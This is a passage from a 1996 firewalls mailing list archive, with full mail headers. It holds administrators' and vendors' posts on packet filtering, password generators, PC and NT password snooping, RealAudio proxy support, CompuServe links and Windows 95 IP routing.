seen a UNIX box. And because if the way Windows software is distributed,
it's virtually impossible to close this hole all the way without crippling
the applications you bought the machine to run!

(yes, I tried setting my NT box up for "C2" as far as I was able. Things broke.
 I have found the Sommar Software page, and hope eventually to get a system as
 virus-resistent and usable as my UNIX boxes. Right now I don't quite see how
 it can be done)

From firewalls-owner  Fri Mar  8 18:33:45 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id QAA17544 for firewalls-outgoing; Fri, 8 Mar 1996 16:31:18 -0800 (PST)
Received: from su1.in.net (su1.in.net [199.0.62.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id QAA17517 for <firewalls@GreatCircle.com>; Fri, 8 Mar 1996 16:31:09 -0800 (PST)
Received: from pm4-25.in.net by su1.in.net with SMTP (5.65/1.2-eef)
	id AA09744; Fri, 8 Mar 96 19:27:05 -0500
Date: Fri, 8 Mar 96 19:27:05 -0500
Message-Id: <9603090027.AA09744@su1.in.net>
X-Sender: frankw@in.net
X-Mailer: Windows Eudora Pro Version 2.1.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: firewalls@GreatCircle.com
From: Frank Willoughby <frankw@in.net>
Subject: Re: Eternal war: gateway versus filtering
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Verily, at 05:12 PM 3/8/96 +0100, Rolf Weber did write:

8< [snip]

>> >>a very good argument if they are acting as a consulter, too.
>> >
>> 
>> I disagree here.  Having the firewall vendor acting as a consultant puts
>> the vendor in a conflict-of-interest situation.  (Sort of like turning
>> the keys of the prison over to the inmates and telling them they are not
>> supposed to leave the premises).
>> 
>again, i didn't say it clear enough.
>if a vendor offers both, he can advise his customers much better which art
>of firewall would be the best for *this* customer.
>the daily maintaining of the firewall is another story.

I disagree here.  It could be that neither of the vendor's products are 
the best choice for the customer.  As an independent, vendor-neutral 
Information Security Consultant, I am free to pick & choose the best
products for my customers.  There is no "one size fits all" of any
product (including firewalls).  It really depends on what the customer's
needs are (security, business, financial, cultural, etc).  (I have 
seen some pretty wild scenarios so far, and have little doubt that
things will get more interesting as time progresses.  But, I digress...)

8< [snip]


>> Also, it is a good idea to put an IP Packet Filter (on the Internet/untrusted
>> side) in series with the firewall (with the IP Packet Filter set up so
>> that it filters the exact same items as the firewall).  There are two 
>> advantages to this:
>> 
>> o There will be an increase in performance in the firewall.  
>>   Since the IP Packet Filter is blocking services that the firewall will
>>   also block, the firewall won't be wasting its CPU resources blocking a 
>>   connection which is going to be rejected anyway.
>>
>no, i disagree.
>i'm watching my connection and see that 99.9% of the packets are allowed
>packets (i'm filtering only the real necessary, like IP-spoofing stuff,
>all the other i want to welcome at my gate :-).
>(BTW, if a gate is under attack, 99.9% isn't true anymore...but you can see
>it as a feature, if a gate under attack becomes slow...;-)
>i'm sure the additional task, packet filtering, decreases the performance
>of the whole firewall system.

Good point.  I should have said "there will be an increase in performance 
in the firewall - when the firewall is under attack.


>rolf
>-- 
>-----------------------------------------
>Rolf Weber <weber@iez.com> | All I ask is a chance
>IEZ AG   D-64625 Bensheim  | to prove that money
>++49-6251-1309-113         | can't make me happy.


Herzlichen Dank fuer deinen Mail.

Best Regards  (MfG),


Frank

<standard disclaimer>
The opinions expressed above are of the author and may not 
necessarily be representative of Fortified Networks Inc.

Fortified Networks Inc. - Information Security Consulting
Phone: (317) 573-0800   - http://www.fortified.com
Home of the Free Internet Firewall Evaluation Checklist




From firewalls-owner  Fri Mar  8 18:57:18 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id SAA00102 for firewalls-outgoing; Fri, 8 Mar 1996 18:44:25 -0800 (PST)
Received: from relay5.UU.NET (relay5.UU.NET [192.48.96.15]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id SAA29987 for <firewalls@GreatCircle.COM>; Fri, 8 Mar 1996 18:44:20 -0800 (PST)
Received: from uucp3.UU.NET by relay5.UU.NET with SMTP 
	id QQagfq23578; Fri, 8 Mar 1996 21:42:39 -0500 (EST)
Received: from telenet.UUCP by uucp3.UU.NET with UUCP/RMAIL
        ; Fri, 8 Mar 1996 21:42:39 -0500
Received: from ganges.telenet.com by telenet.telenet.com (4.1/SMI-3.2)
	id AA24422; Fri, 8 Mar 96 20:23:15 EST
Received: by ganges.telenet.com (4.1/SMI-4.0)
	id AA07346; Fri, 8 Mar 96 20:23:13 EST
Date: Fri, 8 Mar 1996 20:23:13 -0500 (EST)
From: Madhu Muchalambkar <madhu@telenet.com>
To: ganges!uunet!GreatCircle.COM!firewalls@uunet.uu.net
Subject: Sunscreen experiences
In-Reply-To: <9602161421.AA22685@sadis01.kelly.af.mil>
Message-Id: <Pine.SUN.3.91.960308201922.7324A-100000@ganges>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Does anyone have any good/bad exp with the Sunscreen SPF 100/110 product?
I have looked at the firewall comparison chart, but could not find anything
for or against it.

Thanks for your time.

--mpm.

From firewalls-owner  Fri Mar  8 19:11:55 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id RAA21316 for firewalls-outgoing; Fri, 8 Mar 1996 17:12:28 -0800 (PST)
Received: from mailhost1.primenet.com (mailhost1.primenet.com [198.68.32.51]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id RAA21305 for <firewalls@GreatCircle.com>; Fri, 8 Mar 1996 17:12:20 -0800 (PST)
Received: from usr2.primenet.com (root@usr2.primenet.com [198.68.32.12]) by mailhost1.primenet.com (8.7.3/8.7.1) with ESMTP id SAA05993 for <firewalls@GreatCircle.com>; Fri, 8 Mar 1996 18:10:38 -0700 (MST)
Received: from ip153.phx.primenet.com (ip153.phx.primenet.com [198.68.46.153]) by usr2.primenet.com (8.7.3/8.7.3) with SMTP id SAA28010 for <firewalls@GreatCircle.com>; Fri, 8 Mar 1996 18:10:36 -0700 (MST)
Date: Fri, 8 Mar 1996 18:10:36 -0700 (MST)
Message-Id: <199603090110.SAA28010@usr2.primenet.com>
X-Sender: sbeane@mailhost.primenet.com (Unverified)
X-Mailer: Windows Eudora Version 1.4.4
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: firewalls@GreatCircle.com
From: sbeane@primenet.com (Shelly Beane)
Subject: Remove
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Remove
-----------------------------------------------------------

American Express           
-----------------------------------------------------------


From firewalls-owner  Fri Mar  8 19:26:56 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id RAA24889 for firewalls-outgoing; Fri, 8 Mar 1996 17:47:40 -0800 (PST)
Received: from dns.eng.auburn.edu (dns.eng.auburn.edu [131.204.10.13]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id RAA24884 for <firewalls@greatcircle.com>; Fri, 8 Mar 1996 17:47:36 -0800 (PST)
Received: from netman.eng.auburn.edu (netman.eng.auburn.edu [131.204.12.24]) by dns.eng.auburn.edu (8.7.4/8.6.4) with ESMTP id TAA01334 for <firewalls@greatcircle.com>; Fri, 8 Mar 1996 19:45:54 -0600 (CST)
From: Doug Hughes <Doug.Hughes@Eng.Auburn.EDU>
Received: (doug@localhost) by netman.eng.auburn.edu (SMI-8.6/8.6.4) id TAA09185; Fri, 8 Mar 1996 19:45:52 -0600
Date: Fri, 8 Mar 1996 19:45:52 -0600
Subject: Re: /etc/services entries
To: firewalls@greatcircle.com
Message-Id: <doug-9602090145.AA0059430@netman.eng.auburn.edu>
In-Reply-To: <9603081937.AA19992@sandy.sandpiper.com>
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


The services file itself does not do anything. When you run
daemons that use these services you need to be worried. Think of
the services file like a big index to all the possible services
on the net. You might have a client that wants to access one of these
services, it does a table-lookup. It's when you've got servers
that are using these services to provide that you have to worry.

[ Please do not CC me on replies that are sent to the firewalls list,
 I will read them on the list ]


--
____________________________________________________________________________
Doug Hughes					Engineering Network Services
System/Net Admin  				Auburn University
			doug@eng.auburn.edu
		Pro is to Con as progress is to congress

From firewalls-owner  Fri Mar  8 19:42:11 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id RAA25532 for firewalls-outgoing; Fri, 8 Mar 1996 17:53:10 -0800 (PST)
Received: from leibniz.math.psu.edu (leibniz.math.psu.edu [146.186.130.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id RAA25514 for <firewalls@GreatCircle.COM>; Fri, 8 Mar 1996 17:52:57 -0800 (PST)
Received: from hausdorff.math.psu.edu (cross@hausdorff.math.psu.edu [146.186.132.5]) by leibniz.math.psu.edu (8.6.12/8.6.9) with ESMTP id UAA10039; Fri, 8 Mar 1996 20:51:12 -0500
Received: from localhost (cross@localhost) by hausdorff.math.psu.edu (8.6.12/8.6.9) with ESMTP id UAA03618; Fri, 8 Mar 1996 20:51:11 -0500
Message-Id: <199603090151.UAA03618@hausdorff.math.psu.edu>
X-Mailer: exmh version 1.6.4 10/10/95
To: Rabid Wombat <wombat@mcfeely.bsfs.org>
cc: firewalls@GreatCircle.COM
Subject: Re: Password generating program 
In-reply-to: Your message of "Fri, 08 Mar 1996 11:24:00 EST."
             <Pine.BSF.3.91.960308112003.14153B-100000@mcfeely.bsfs.org> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Fri, 08 Mar 1996 20:51:10 -0500
From: Dan Cross <cross@math.psu.edu>
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

> IMHO, it is better to teach users to use secure passwords, and check for 
> non-secure ones. Anybody have a way of doing this when the password is 
> generated, rather than running CRACK every now and then?

I concur.  Something like npasswd or passwd+ is, IMHO, preferable to something
that generates a password that is ``secure'' but has to be written down.

	- Dan C.

(I must confess, I wrote down my passwords when I was in high school.  Then
again, I wasn't too concerned about my parents breaking into any of the systems
I was running then...  :-)

From firewalls-owner  Fri Mar  8 19:53:12 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id RAA21820 for firewalls-outgoing; Fri, 8 Mar 1996 17:17:52 -0800 (PST)
Received: from ra1.randomc.com ([205.160.16.20]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id RAA21801 for <firewalls@greatcircle.com>; Fri, 8 Mar 1996 17:17:36 -0800 (PST)
Received: (llama@localhost) by ra1.randomc.com (8.6.12/8.6.10) id UAA22579; Fri, 8 Mar 1996 20:09:36 -0500
From: Jonny Llama <llama@ra1.randomc.com>
Message-Id: <199603090109.UAA22579@ra1.randomc.com>
Subject: Re: Password generating program
To: bobk@manzanita.DEV.3Com.COM (Bob Konigsberg)
Date: Fri, 8 Mar 1996 20:09:36 -0500 (EST)
Cc: firewalls@greatcircle.com
In-Reply-To: <9603071655.AA13737@manzanita.DEV.3Com.COM.noname> from "Bob Konigsberg" at Mar 7, 96 08:55:16 am
X-Info: finger llama@randomc.com | pgp -fka +force
X-Mailer: ELM [version 2.4 PL22]
Content-Type: text
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

> 
> I've heard that there is a password generating program that will generate
> fairly random, but pronounceable passwords.
> 
> If anyone knows of the source of such a program, I'd appreciate hearing
> from them.  Unless they do, I'll return the source of information to the list.

http://www.stupi.se/Comp/pwd/

/*
 * mpw:  Make up passwords which have similar letter digraph frequencies 
 * to english.
 * Converted from Multics PL/I by Bill Sommerfeld, 4/21/86.
 *  Original PL/I version provided by Jerry Saltzer.
 */


> 
> BTW - My search for security policies didn't return much.  Most replies 
> I got were for cc:s on info I got. The reference to rfc's 1068, 1244, 1700,
> and rfc 959 were helpful, but not everything I needed.  I also took Learning
> Tree course 468 (Internet and Network Security) which was quite helpful.
> 
> As a result, I will (after some massaging) publish a summary of our own 
> security policy with the content reduced to outline form.
> 
> Thanks all,
> 
> BobK
> 


From firewalls-owner  Fri Mar  8 19:56:58 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id RAA21469 for firewalls-outgoing; Fri, 8 Mar 1996 17:13:46 -0800 (PST)
Received: from uuneo.neosoft.com (uuneo.neosoft.com [206.109.1.3]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id RAA21463 for <firewalls@greatcircle.com>; Fri, 8 Mar 1996 17:13:38 -0800 (PST)
Received: from nmti.com (ficc@localhost) by uuneo.neosoft.com (8.7.4/8.7.4) with UUCP id SAA07330; Fri, 8 Mar 1996 18:35:18 -0600 (CST)
Received: from sonic.nmti.com (peter@sonic.nmti.com [198.178.0.2]) by web.nmti.com (8.6.12/8.6.9) with SMTP id LAA14512; Fri, 8 Mar 1996 11:00:10 -0600
Received: by sonic.nmti.com; id AA28085; Fri, 8 Mar 1996 11:00:07 -0600
From: peter@nmti.com (Peter da Silva)
Message-Id: <9603081700.AA28085@sonic.nmti.com.nmti.com>
Subject: Re: UNIX CVirus - 2nd try (pt 1)
To: remy@synx.com (Remy NONNENMACHER)
Date: Fri, 8 Mar 1996 11:00:07 -0600 (CST)
Cc: peter@nmti.com, firewalls@greatcircle.com
In-Reply-To: <Pine.A32.3.91.960308150448.16912A-100000@rs1> from "Remy NONNENMACHER" at Mar 8, 96 03:30:57 pm
X-Mailer: ELM [version 2.4 PL23]
Content-Type: text
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

> That's right. What about the interface between Windows and Unix ?

Scary.

I don't like PCs on our internal network, and I never log on via one. Smart
Bridges keep snooping from being super-useful, but it's still a worry. In
fact PCs are my biggest concern.

> Q2: How to protect ? (fire yourself if your reply is 'filter mail containing
> root password' ;-) )

See above. Don't trust PCs. Test your Windows software on a box you don't
use for access to UNIX (or, for that matter, NT! All your NT domain passwords
are just as snoopable from a box like this).

NT is a bit more resistant. It's almost certainly at least as hard to trapdoor
the NT login screen as it is to do install a trapdoor on UNIX, but once you
log in you have all those passwords you use for Lan Manager connections it
can easily steal, as well as anything else you type in. And, again, Bill Gates
seems determined to undermine the basic security of NT (which is solid enough
to be obnoxious in other places) by encouraging people to leave their system
root directory wide open. (the equivalent of making /bin and /etc mode 777
on UNIX)

From firewalls-owner  Fri Mar  8 19:58:34 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id RAA23955 for firewalls-outgoing; Fri, 8 Mar 1996 17:37:25 -0800 (PST)
Received: from dns.eng.auburn.edu (dns.eng.auburn.edu [131.204.10.13]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id RAA23950 for <firewalls@greatcircle.com>; Fri, 8 Mar 1996 17:37:19 -0800 (PST)
Received: from netman.eng.auburn.edu (netman.eng.auburn.edu [131.204.12.24]) by dns.eng.auburn.edu (8.7.4/8.6.4) with ESMTP id TAA01013 for <firewalls@greatcircle.com>; Fri, 8 Mar 1996 19:35:30 -0600 (CST)
From: Doug Hughes <Doug.Hughes@Eng.Auburn.EDU>
Received: (doug@localhost) by netman.eng.auburn.edu (SMI-8.6/8.6.4) id TAA09169; Fri, 8 Mar 1996 19:35:28 -0600
Date: Fri, 8 Mar 1996 19:35:28 -0600
Subject: Re: Password generating program
To: firewalls@greatcircle.com
Message-Id: <doug-9602090135.AA0058430@netman.eng.auburn.edu>
In-Reply-To: <Pine.BSF.3.91.960308112003.14153B-100000@mcfeely.bsfs.org>
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk



>
>I heard about a U.S. Air Force site that forced a password generating 
>program on its users. It generated passwords that weren't pronounceable, 
>either.
>
>The security audit team that went through found their way in to about 80% 
>of the systems by looking at the passwords written on sticky notes, etc. 
>in the immediate vicinity of the user's terminal/workstation.
>
>IMHO, it is better to teach users to use secure passwords, and check for 
>non-secure ones. Anybody have a way of doing this when the password is 
>generated, rather than running CRACK every now and then?
>

I just want to point out that a random password program does have a valid
use. We use it to generate new user accounts. A sheet prints out when
they go to the computer to get a new account. This sheet has the students
userid and a random password. On the sheet are instructions on how the
student should change their password to something else and what good
choices are. The student shows us his/her ID, we enable the account, and
voila.  We do not force users to keep these passwords. In fact, we encourage
them to change the password.
 Besides, sticky notes don't last long in public labs (nor would they
do much good). ;)

[ This message was sent to the firewalls mailing list. If you wish to
reply to this message, please reply to the list and do not CC me on the
reply. If you wish to respond personally to this mail, then do not CC
the list. ]

--
____________________________________________________________________________
Doug Hughes					Engineering Network Services
System/Net Admin  				Auburn University
			doug@eng.auburn.edu
		Pro is to Con as progress is to congress

From firewalls-owner  Fri Mar  8 20:11:58 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id RAA23847 for firewalls-outgoing; Fri, 8 Mar 1996 17:36:08 -0800 (PST)
Received: from murrow.prognet.com (prognet.com [205.219.198.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id RAA23827 for <Firewalls@GreatCircle.COM>; Fri, 8 Mar 1996 17:35:58 -0800 (PST)
Received: from johns.prognet.com ([204.71.154.83]) by murrow.prognet.com with SMTP id AA00186
  (5.67b/IDA-1.5 for <Firewalls@GreatCircle.COM>); Fri, 8 Mar 1996 17:34:21 -0800
Message-Id: <2.2.32.19960309013326.018953a8@mail.prognet.com>
X-Sender: johns@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 2.2 (32)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Fri, 08 Mar 1996 17:33:26 -0800
To: Firewalls@GreatCircle.COM
From: "John T. Shay" <johns@prognet.com>
Subject: RealAudio 2.0 and Firewalls
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


As the Product Manager at Progressive Networks in charge of
firewalls, I'd like to take a moment to shed some light on the
subject of RealAudio and firewalls.

RealAudio version 2.0, which is scheduled to ship this month,
will include firewall proxy support. This proxy is currently 
in beta. As part of Progressive Networks' commitment to open 
standards, reference code for the RealAudio Proxy will be made 
available very soon so that firewall administrators can easily 
customize the proxy to fit their specific needs. To get on the 
mailing list to receive RealAudio Firewall Proxy Kit information 
when it become available, have your firewall administrator fill 
out a Firewall Information Request Form located at:

http://www.realaudio.com/help/firewall/inforequest.html 

Please note that you wish to be put on the mailing list
to receive information about the RealAudio Firewall Proxy Kit.

The RealAudio 2.0 Player can be easily configured to use
either a TCP + UDP connection or a TCP-Only connection. The RealAudio
proxy will support either type of client/server interaction. In
addition, RealAudio 2.0 Players can be configured to use
a single UDP port. This feature will allow firewall admins
to restrict audio data to a single UDP port. The player can 
also be configured to by-pass the proxy when connecting to
internal RealAudio Servers.

Progressive Networks has also been working with firewall manufacturers 
and the Firewall Product Developers Consortium (http://www.ncsa.com) 
to have RealAudio support built into commercial firewalls. A list
of firewall vendors who are building RealAudio support into their products
can be found at http://www.realaudio.com/help/firewall/vendors.html.
This list also shows the commercial firewall vendors who have already
announced support for RealAudio. Other companies will be announcing
support before RealAudio 2.0 ships later this month.

The majority of these vendors are building transparent solutions which 
support all versions of the RealAudio Player and don't require proxy 
configuration by the end user. If your firewall vendor is not listed, 
contact your firewall vendor and ask them to join the RealAudio Firewall 
Developers Program. We established this program to make it easy for 
firewall vendors to support RealAudio.  We welcome your suggestions to 
improve this program.

As the name suggests, Progressive Networks is commited to both
open architecture and interoperability. As an Internet-based 
company we firmly believe that a progressive approach to protocols
provides a mutual benefit to us and the Internet community. We have 
already announced plans to publish our protocol, playback engine API's,
and CODEC (compression-decompression) interface. The publication of our 
firewall proxy furthers this commitment into the network security arena.

John Shay
Firewall Product Manager
Progressive Networks
http://www.realaudio.com
firewalls@realaudio.com


From firewalls-owner  Fri Mar  8 20:27:17 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id UAA08257 for firewalls-outgoing; Fri, 8 Mar 1996 20:24:20 -0800 (PST)
Received: from su1.in.net (su1.in.net [199.0.62.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id UAA08252 for <firewalls@GreatCircle.com>; Fri, 8 Mar 1996 20:24:13 -0800 (PST)
Received: from pm4-28.in.net by su1.in.net with SMTP (5.65/1.2-eef)
	id AA23319; Fri, 8 Mar 96 23:20:19 -0500
Date: Fri, 8 Mar 96 23:20:19 -0500
Message-Id: <9603090420.AA23319@su1.in.net>
X-Sender: frankw@in.net
X-Mailer: Windows Eudora Pro Version 2.1.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: firewalls@GreatCircle.com
From: Frank Willoughby <frankw@in.net>
Subject: Re: How Do Others Handle ...
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

At 05:26 PM 3/8/96 -0500, Dick Wall allegedly wrote:


>How do others handle connections to dial PPP service providers such as
>Compuserve or Infonet's InfoLAN on the Road?

I recently finished recommending a solution to a customer for securing 
a company's connection from their internal LAN/WAN to CompuServe.

The actual implementations will depend depending on what you are looking
to accomplish.

Very Briefly:

o Firewall, firewall, firewall
o Never, Ever, outsource any part of your security (including firewalls)
o Never depend on authentication alone for protection
o Where possible, encrypt the links end-to-end
o Never outsource any part of Information Security


>These are services where the carrier provides the world wide dial entry
>points, and authentication, and the calls terminate in a carrier
>supplied router on the customer supplied network.  I don't have a
>problem with the authentication part of it .. but I'm concerned about
>placing someone else router directly on my network without any sort of
>firewall implementation.  

I have a problem with the authentication part of it.  Again, authentication
alone will NOT provide adequate security.


>Does anyone have experience with Compuserve?

Yes.  See above.


>Do any of you implement a firewall between Compuserve and your own LAN?

I recommend that people do (even if you are using it for your own VPN).



>I'm concerned about what else might come through that router.  (And the
>phrase "trust us .. it's not a problem" .. is "really" getting
>annoying).

I posted an experience within the last couple of weeks about a customer 
of mine who had a (can we spell *massive*?) security vulnerability courtesy 
of their network provider (who shall remain nameless to protect the guilty).

You didn't mention whether your connection involved using CompuServe to 
establish a VPN or if they are providing your connection to the Internet.
Caution & prudent security are advised in both cases.


>Thanks
>
>Dick


I hope the above was of some help to you.

Best Regards,


Frank

<standard disclaimer>
The opinions expressed above are of the author and may not 
necessarily be representative of Fortified Networks Inc.

Fortified Networks Inc. - Information Security Consulting
Phone: (317) 573-0800   - http://www.fortified.com
Home of the Free Internet Firewall Evaluation Checklist




From firewalls-owner  Fri Mar  8 20:57:03 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id UAA10220 for firewalls-outgoing; Fri, 8 Mar 1996 20:54:55 -0800 (PST)
Received: from su1.in.net (su1.in.net [199.0.62.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id UAA10215 for <firewalls@GreatCircle.com>; Fri, 8 Mar 1996 20:54:51 -0800 (PST)
Received: from pm4-24.in.net by su1.in.net with SMTP (5.65/1.2-eef)
	id AA28921; Fri, 8 Mar 96 23:50:51 -0500
Date: Fri, 8 Mar 96 23:50:51 -0500
Message-Id: <9603090450.AA28921@su1.in.net>
X-Sender: frankw@in.net
X-Mailer: Windows Eudora Pro Version 2.1.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: firewalls@GreatCircle.com
From: Frank Willoughby <frankw@in.net>
Subject: ATTN: VENDORS - SALES OPPORTUNITY
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

There is a unique sales opportunity for firewall vendors who support 
User->Firewall encryption.  To reduce "vaporware" issues, the firewall 
must have this capability installed (and working) at customer sites 
by May 15th at the latest.


Those vendors who are interested in attending should contact me 
directly at the number below.  FWIW, 3 vendors have been invited 
to participate, so far.  I am posting this mail because I don't 
want any worthy vendor to be left out.  

Best Regards,


Frank
P.S. - If you aren't sure if someone from your company contacted
       me or not, please take the initiative & send me a mail
       anyway.


<standard disclaimer>
The opinions expressed above are of the author and may not 
necessarily be representative of Fortified Networks Inc.

Fortified Networks Inc. - Information Security Consulting
Phone: (317) 573-0800   - http://www.fortified.com
Home of the Free Internet Firewall Evaluation Checklist




From firewalls-owner  Fri Mar  8 21:12:18 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id VAA10832 for firewalls-outgoing; Fri, 8 Mar 1996 21:04:01 -0800 (PST)
Received: from netcom2.netcom.com (netcom2.netcom.com [192.100.81.108]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id VAA10827 for <firewalls@GreatCircle.COM>; Fri, 8 Mar 1996 21:03:53 -0800 (PST)
Received: from dalel.raptor.com by netcom2.netcom.com (8.6.13/Netcom)
	id VAA09188; Fri, 8 Mar 1996 21:01:50 -0800
Message-Id: <2.2.32.19960309060206.006b7a64@netcom10.netcom.com>
X-Sender: dalel@netcom10.netcom.com
X-Mailer: Windows Eudora Pro Version 2.2 (32)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Sat, 09 Mar 1996 00:02:06 -0600
To: "Bill Putney" <billp@synseer.PAL.Roche.com>
From: Dale Lancaster <dlancaster@raptor.com>
Subject: Re: HTTP Proxy Server as a Java Condom?  Which one?
Cc: firewalls@GreatCircle.COM
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

At 04:28 PM 3/5/96 -0800, Bill Putney wrote:
>OK, I've been beating the bushes for a couple of days now and I still don't
>have any resolution to this problem.
>
>Does anyone on the list know which proxy servers will do a ".class" fetch
>filter?  Are there any "Java Script" filtering proxy servers yet?
>
>Thanks,
>
The Raptor implementation allows you to filter on file extensions.  So if
you assume that java files are labelled "filename.java", then we can filter
them from passing through.
regards,
dale
======================================================================
	Dale Lancaster                                             
	Raptor Systems
	dalel@netcom.com    "Its better to be thought a fool rather than
	(214) 423-6212	       to speak up and remove all doubt." - Lincoln
======================================================================


From firewalls-owner  Fri Mar  8 21:30:49 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id VAA12802 for firewalls-outgoing; Fri, 8 Mar 1996 21:25:24 -0800 (PST)
Received: from dns.mcn.net (dns.mcn.net [204.212.170.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id VAA12790 for <Firewalls@GreatCircle.COM>; Fri, 8 Mar 1996 21:25:16 -0800 (PST)
Received: from menehune.mcn.net (bzpm01-043.MCN.NET [205.163.40.43]) by dns.mcn.net (8.6.9/8.6.9) with SMTP id WAA26357 for <Firewalls@GreatCircle.COM>; Fri, 8 Mar 1996 22:23:18 -0700
Message-ID: <314113A2.4E50@mcn.net>
Date: Fri, 08 Mar 1996 22:14:10 -0700
From: David Ford <dwf@mcn.net>
Organization: Vision Development Group, Inc.
X-Mailer: Mozilla 2.0 (Win95; I)
MIME-Version: 1.0
To: Firewalls@GreatCircle.COM
Subject: Re: Firewalls-Digest V5 #146 (Win 95 and IP routing)
References: <199603080900.BAA05739@miles.greatcircle.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

> ----------------------------------------------------------------------
> 
> From: Mike Herbert <herbem2@tdbank.ca>
> Date: Thu, 7 Mar 1996 22:47:42 -0500 (EST)
> Subject: Re: Security of Networked Workstations with dial-up PPP Internet!!!
> 
> >> I assume that windows 3.11,NT and 95 can forward packets from the PPP
> link to
> >> the local network, thereby acting as a router and exposing the private
> network
> >> to the internet.
> >
> >
> >While this is definitely possible, AFAIK, Win95 has IPForwarding turned off.
> >
> Are you sure. I don't want to start a debate but I was under the impression it
> was left on???
> It is the very mind itself              Mike Herbert
> That leads the mind astray;             herbem2@tdbank.ca
> Of the mind,
> Do not be mindless.             #include <usual.disclaimer>
> 
> ------------------------------
> > 
> ------------------------------
> 
> From: Russ <Russ.Cooper@RC.Toronto.on.ca>
> Date: Thu, 7 Mar 1996 22:50:39 -0500
> Subject: RE: Security of Networked Workstations with dial-up PPP Internet!!!
> 
> "While this is definitely possible, AFAIK, Win95 has IPForwarding turned
> off."
> 
> Win95 can easily be configured as a PPP-LAN router through the registry, so
> treat it as you would NT in that regard (powerful stuff that dial-up
> networking...).
> 
> Cheers,
> Russ
> 
> ------------------------------
>

According to the Windows 95 Resource Kit, p.899, Windows 95 cannot be 
configured to do IP routing.  Windows NT 3.5 Server can.  This section 
from the Resource Kit describes dial up servers.  From that section:
 
"The Windows 95 dial-up server can act as a gateway to an IPX/SPX or NetBEUI 
network, or as a server to the client..."

But later it points out that it differs from a Win NT server:

"Windows NT 3.5 Server can act as an IP router, and Windows 95 cannot.  IP 
router capabilities permit accessing a TCP/IP network, such as the global 
Internet.  Windows 95 provides all the protocols you need to connect to the 
Internet, but cannot act as an IP router.  Consequently, you need to connect 
a computer running Windows 95 to a server with IP router capabilites in order 
to connect to the Internet."(from a dial up access)

Russ,
If you know the above to be incorrect, could you please list the variable in 
the registry that turns on IP routing (Forwarding)?  I couldn't find an 
appropriate entry in the registry searching for either "route" or routing".

-- 
David W. Ford			Voice: (406) 585-2948
Consultant,			Email: dwf@mcn.net
Vision Development Group, Inc.
Bozeman, MT

From firewalls-owner  Sat Mar  9 02:57:15 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id CAA04680 for firewalls-outgoing; Sat, 9 Mar 1996 02:42:39 -0800 (PST)
Received: from server.metrolink.com.hk (server.metrolink.com.hk [202.80.2.20]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id CAA04666 for <Firewalls@GreatCircle.COM>; Sat, 9 Mar 1996 02:42:28 -0800 (PST)
Received: from dialin4.metrolink.com.hk (dialin4.metrolink.com.hk [202.80.2.5]) by server.metrolink.com.hk (8.6.11/8.6.9) with SMTP id SAA00553 for <Firewalls@GreatCircle.COM>; Sat, 9 Mar 1996 18:33:56 +0800
Date: Sat, 9 Mar 1996 18:33:56 +0800
Message-Id: <199603091033.SAA00553@server.metrolink.com.hk>
X-Sender: tim@metrolink.com.hk
X-Mailer: Windows Eudora Version 1.4.4
